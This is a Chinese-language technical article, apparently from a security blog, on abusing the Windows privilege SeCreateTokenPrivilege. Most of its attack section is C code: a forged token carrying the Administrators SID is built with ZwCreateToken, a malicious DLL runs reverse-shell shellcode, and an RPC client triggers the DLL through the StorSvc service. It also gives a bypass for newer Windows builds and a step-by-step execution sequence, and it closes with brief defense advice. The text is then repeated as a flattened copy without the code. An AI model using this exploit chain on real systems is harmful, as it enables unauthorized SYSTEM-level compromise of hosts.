Token Privileges Abusing - SeCreateTokenPrivilege
字数 2065 2025-08-06 08:34:49

SeCreateTokenPrivilege滥用技术详解

1. SeCreateTokenPrivilege概述

SeCreateTokenPrivilege是Windows系统中的一项特权,在Microsoft官方文档中被描述为"Create a token object"。这项特权被认为是"上帝"权限,因为拥有该特权的任何进程能够通过ZwCreateToken API创建主令牌。

1.1 ZwCreateToken函数

ZwCreateToken是Windows操作系统的Native API,其语法如下:

NTSTATUS ZwCreateToken(
    OUT PHANDLE TokenHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN TOKEN_TYPE Type,
    IN PLUID AuthenticationId,
    IN PLARGE_INTEGER ExpirationTime,
    IN PTOKEN_USER User,
    IN PTOKEN_GROUPS Groups,
    IN PTOKEN_PRIVILEGES Privileges,
    IN PTOKEN_OWNER Owner,
    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
    IN PTOKEN_DEFAULT_DACL DefaultDacl,
    IN PTOKEN_SOURCE Source
);

参数说明:

  • TokenHandle:用于接收创建的访问令牌的句柄
  • DesiredAccess:访问令牌的所需访问权限,使用TOKEN_ALL_ACCESS可以获得所有权限
  • ObjectAttributes:指向OBJECT_ATTRIBUTES结构的指针,用于指定令牌对象的属性
  • Type:指定要创建的令牌的类型,如TokenPrimary或TokenImpersonation
  • AuthenticationId:指定令牌的身份验证标识
  • ExpirationTime:指定令牌的过期时间,或使用NULL表示不设置过期时间
  • User:指向TOKEN_USER结构的指针,用于指定令牌所属的用户
  • Groups:指向TOKEN_GROUPS结构的指针,用于指定令牌所属的组
  • Privileges:指向TOKEN_PRIVILEGES结构的指针,用于指定令牌的特权
  • Owner:指向TOKEN_OWNER结构的指针,用于指定令牌的所有者
  • PrimaryGroup:指向TOKEN_PRIMARY_GROUP结构的指针,用于指定令牌的主组
  • DefaultDacl:指向TOKEN_DEFAULT_DACL结构的指针,用于指定令牌的默认DACL
  • Source:指向TOKEN_SOURCE结构的指针,用于指定令牌的源标识

2. 技术原理

2.1 令牌创建与权限提升

如果我们接管了拥有SeCreateTokenPrivilege特权的账户或进程,就可以通过ZwCreateToken()函数制作一个新的模拟令牌并添加特权组的SID,实现特权提升。

关键步骤:

  1. 构建本地管理员组的SID(S-1-5-32-544)
  2. 遍历令牌的组并将其从当前用户提升为管理员
  3. 确保构建TokenImpersonation模拟级别的令牌

2.2 令牌模拟规则

Windows有关令牌模拟的相关规则:

  1. 如果令牌级别<Impersonate,则允许(此类令牌称为"Identification"级别,不能用于特权操作)
  2. 如果进程具有"Impersonate"特权,则允许
  3. 如果进程完整性级别>=令牌完整性级别且进程用户==令牌用户,则允许;否则将令牌限制为"Identification"级别(无法执行特权操作)

这意味着只要令牌是给当前用户的,并且完整性级别小于或等于当前进程完整性级别,就能够在没有任何特殊权限的情况下模拟令牌。

3. 利用实现

3.1 主函数流程

int wmain(int argc, wchar_t* argv[]) {
    // 1. 获取命令行参数(源文件和目标文件)
    // 2. 打开当前进程的令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
        // 错误处理
    }
    
    // 3. 为当前进程令牌启用SeCreateTokenPrivilege
    if (!EnableTokenPrivilege(hToken, SE_CREATE_TOKEN_NAME)) {
        // 错误处理
    }
    
    // 4. 创建提升权限的用户令牌
    pElevatedToken = CreateUserToken(hToken);
    
    // 5. 显示令牌信息
    if (!DisplayTokenInformation(pElevatedToken)) {
        // 错误处理
    }
    
    // 6. 将当前线程的令牌替换为新令牌
    hThread = GetCurrentThread();
    if (!SetThreadToken(&hThread, pElevatedToken)) {
        // 错误处理
    }
    
    // 7. 利用提升的权限执行操作(如写入受保护目录)
    if (!ExploitSeCreateTokenPrivilege(sourceFile, destFile)) {
        // 错误处理
    }
}

3.2 启用特权函数

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    BOOL status = FALSE;
    LUID luidValue = {0};
    TOKEN_PRIVILEGES tokenPrivileges;
    
    // 获取特权的LUID值
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        // 错误处理
    }
    
    // 设置提升信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // 提升进程令牌访问权限
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
        // 错误处理
    } else {
        status = TRUE;
    }
    
    return status;
}

3.3 创建用户令牌

HANDLE CreateUserToken(HANDLE hToken) {
    // 定义令牌对象属性
    SECURITY_QUALITY_OF_SERVICE securityQualityOfService = {
        sizeof(securityQualityOfService), 
        SecurityImpersonation, 
        SECURITY_STATIC_TRACKING, 
        FALSE
    };
    OBJECT_ATTRIBUTES objectAttributes = {
        sizeof(objectAttributes), 
        0, 0, 0, 0, 
        &securityQualityOfService
    };
    
    // 定义SID
    SID_BUILTIN LocalAdminGroupSID = {1, 2, {0, 0, 0, 0, 0, 5}, {32, DOMAIN_ALIAS_RID_ADMINS}};
    SID_INTEGRITY IntegrityMediumSID = {1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID};
    
    // 加载ZwCreateToken函数
    _ZwCreateToken ZwCreateToken;
    ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
    
    // 获取令牌信息
    pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser);
    pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
    pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
    pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup);
    pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl);
    
    // 修改令牌组信息
    for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) {
        if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY) {
            memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID));
        }
        pSid = (PISID)pTokenGroups->Groups[i].Sid;
        if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS) {
            memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
            pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
        }
    }
    
    // 设置令牌所有者
    pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID));
    pTokenOwner->Owner = pTokenUser->User.Sid;
    
    // 调用ZwCreateToken创建令牌
    Status = ZwCreateToken(
        &pElevatedToken, 
        TOKEN_ALL_ACCESS, 
        &objectAttributes, 
        TokenImpersonation, 
        &AuthenticationId, 
        &ExpirationTime, 
        pTokenUser, 
        pTokenGroups, 
        pTokenPrivileges, 
        pTokenOwner, 
        pTokenPrimaryGroup, 
        pTokenDefaultDacl, 
        &tokenSource
    );
    
    return pElevatedToken;
}

3.4 设置令牌特权

void SetTokenPrivileges(PTOKEN_PRIVILEGES pTokenPrivileges) {
    LUID luid;
    pTokenPrivileges->PrivilegeCount = 6;
    
    // 启用SeImpersonatePrivilege
    LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
    pTokenPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[0].Luid = luid;
    
    // 启用SeAssignPrimaryTokenPrivilege
    LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
    pTokenPrivileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[1].Luid = luid;
    
    // 启用SeCreateTokenPrivilege
    LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid);
    pTokenPrivileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[2].Luid = luid;
    
    // 启用SeRestorePrivilege
    LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &luid);
    pTokenPrivileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[3].Luid = luid;
    
    // 启用SeTakeOwnershipPrivilege
    LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
    pTokenPrivileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[4].Luid = luid;
    
    // 启用SeDebugPrivilege
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    pTokenPrivileges->Privileges[5].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[5].Luid = luid;
}

4. 实际利用示例

4.1 通过StorSvc服务提权

Windows的StorSvc是一项以NT AUTHORITY\SYSTEM账户权限运行的服务,该服务在本地调用SvcRebootToFlashingMode RPC方法时,会尝试加载SprintCSP.dll。

利用步骤:

  1. 创建恶意的SprintCSP.dll
  2. 使用SeCreateTokenPrivilege将DLL写入System32目录
  3. 通过RPC调用触发DLL加载

4.1.1 恶意DLL代码

#include "pch.h"

DWORD WINAPI DoMagic(LPVOID lpParameter) {
    unsigned char shellcode[] = "\xfc\x48\x83..."; // 反弹shell的shellcode
    
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    HANDLE hThread = NULL;
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, DoMagic, 0, 0, 0);
        if (hThread) CloseHandle(hThread);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

4.1.2 RPC客户端代码

#include "storsvc_h.h"
#include <iostream>
#include <windows.h>
#pragma comment(lib, "RpcRT4.lib")

int wmain(int argc, wchar_t* argv[]) {
    RPC_STATUS RpcStatus;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE hBinding;
    
    // 创建绑定
    RpcStatus = RpcStringBindingComposeW(NULL, (RPC_WSTR)L"ncalrpc", (RPC_WSTR)L"", (RPC_WSTR)L"", NULL, &StringBinding);
    RpcStatus = RpcBindingFromStringBindingW(StringBinding, &hBinding);
    
    // 调用RPC方法
    RpcTryExcept {
        long result = Proc6_SvcRebootToFlashingMode(hBinding, 0, 0);
        if (result == 0) wprintf(L"[*] Dll hijack triggered!");
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER); {
        // 错误处理
    }
    RpcEndExcept
    
    RpcBindingFree(&hBinding);
}

5. 注意事项

  1. 在Windows 10 >= 1809或Windows Server 2019上,直接使用可能会遇到错误1346:"Either a required impersonation level was not provided, or the provided impersonation level is invalid"

  2. 解决方法:将AuthenticationId设置为ANONYMOUS_LOGON_LUID(0x3e6)而非SYSTEM_LUID(0x3e7),这样可以绕过安全检查

  3. 完整利用流程:

    • 编译POC代码
    • 上传到目标主机
    • 执行:SeCreateTokenPrivilege.exe -s malicious.dll -d C:\Windows\System32\malicious.dll
    • 触发DLL加载获取SYSTEM权限

6. 防御建议

  1. 严格控制SeCreateTokenPrivilege的分配,仅授予必要的账户和服务
  2. 定期审核系统特权分配
  3. 及时安装安全更新
  4. 监控可疑的令牌创建和模拟行为
  5. 实施最小权限原则,减少特权账户数量
SeCreateTokenPrivilege滥用技术详解 1. SeCreateTokenPrivilege概述 SeCreateTokenPrivilege是Windows系统中的一项特权,在Microsoft官方文档中被描述为"Create a token object"。这项特权被认为是"上帝"权限,因为拥有该特权的任何进程能够通过ZwCreateToken API创建主令牌。 1.1 ZwCreateToken函数 ZwCreateToken是Windows操作系统的Native API,其语法如下: 参数说明: TokenHandle :用于接收创建的访问令牌的句柄 DesiredAccess :访问令牌的所需访问权限,使用TOKEN_ ALL_ ACCESS可以获得所有权限 ObjectAttributes :指向OBJECT_ ATTRIBUTES结构的指针,用于指定令牌对象的属性 Type :指定要创建的令牌的类型,如TokenPrimary或TokenImpersonation AuthenticationId :指定令牌的身份验证标识 ExpirationTime :指定令牌的过期时间,或使用NULL表示不设置过期时间 User :指向TOKEN_ USER结构的指针,用于指定令牌所属的用户 Groups :指向TOKEN_ GROUPS结构的指针,用于指定令牌所属的组 Privileges :指向TOKEN_ PRIVILEGES结构的指针,用于指定令牌的特权 Owner :指向TOKEN_ OWNER结构的指针,用于指定令牌的所有者 PrimaryGroup :指向TOKEN_ PRIMARY_ GROUP结构的指针,用于指定令牌的主组 DefaultDacl :指向TOKEN_ DEFAULT_ DACL结构的指针,用于指定令牌的默认DACL Source :指向TOKEN_ SOURCE结构的指针,用于指定令牌的源标识 2. 技术原理 2.1 令牌创建与权限提升 如果我们接管了拥有SeCreateTokenPrivilege特权的账户或进程,就可以通过ZwCreateToken()函数制作一个新的模拟令牌并添加特权组的SID,实现特权提升。 关键步骤: 构建本地管理员组的SID(S-1-5-32-544) 遍历令牌的组并将其从当前用户提升为管理员 确保构建TokenImpersonation模拟级别的令牌 2.2 令牌模拟规则 Windows有关令牌模拟的相关规则: 如果令牌级别 <Impersonate,则允许(此类令牌称为"Identification"级别,不能用于特权操作) 如果进程具有"Impersonate"特权,则允许 如果进程完整性级别>=令牌完整性级别且进程用户==令牌用户,则允许;否则将令牌限制为"Identification"级别(无法执行特权操作) 这意味着只要令牌是给当前用户的,并且完整性级别小于或等于当前进程完整性级别,就能够在没有任何特殊权限的情况下模拟令牌。 3. 利用实现 3.1 主函数流程 3.2 启用特权函数 3.3 创建用户令牌 3.4 设置令牌特权 4. 实际利用示例 4.1 通过StorSvc服务提权 Windows的StorSvc是一项以NT AUTHORITY\SYSTEM账户权限运行的服务,该服务在本地调用SvcRebootToFlashingMode RPC方法时,会尝试加载SprintCSP.dll。 利用步骤: 创建恶意的SprintCSP.dll 使用SeCreateTokenPrivilege将DLL写入System32目录 通过RPC调用触发DLL加载 4.1.1 恶意DLL代码 4.1.2 RPC客户端代码 5. 注意事项 在Windows 10 >= 1809或Windows Server 2019上,直接使用可能会遇到错误1346:"Either a required impersonation level was not provided, or the provided impersonation level is invalid" 解决方法:将AuthenticationId设置为ANONYMOUS_ LOGON_ LUID(0x3e6)而非SYSTEM_ LUID(0x3e7),这样可以绕过安全检查 完整利用流程: 编译POC代码 上传到目标主机 执行: SeCreateTokenPrivilege.exe -s malicious.dll -d C:\Windows\System32\malicious.dll 触发DLL加载获取SYSTEM权限 6. 防御建议 严格控制SeCreateTokenPrivilege的分配,仅授予必要的账户和服务 定期审核系统特权分配 及时安装安全更新 监控可疑的令牌创建和模拟行为 实施最小权限原则,减少特权账户数量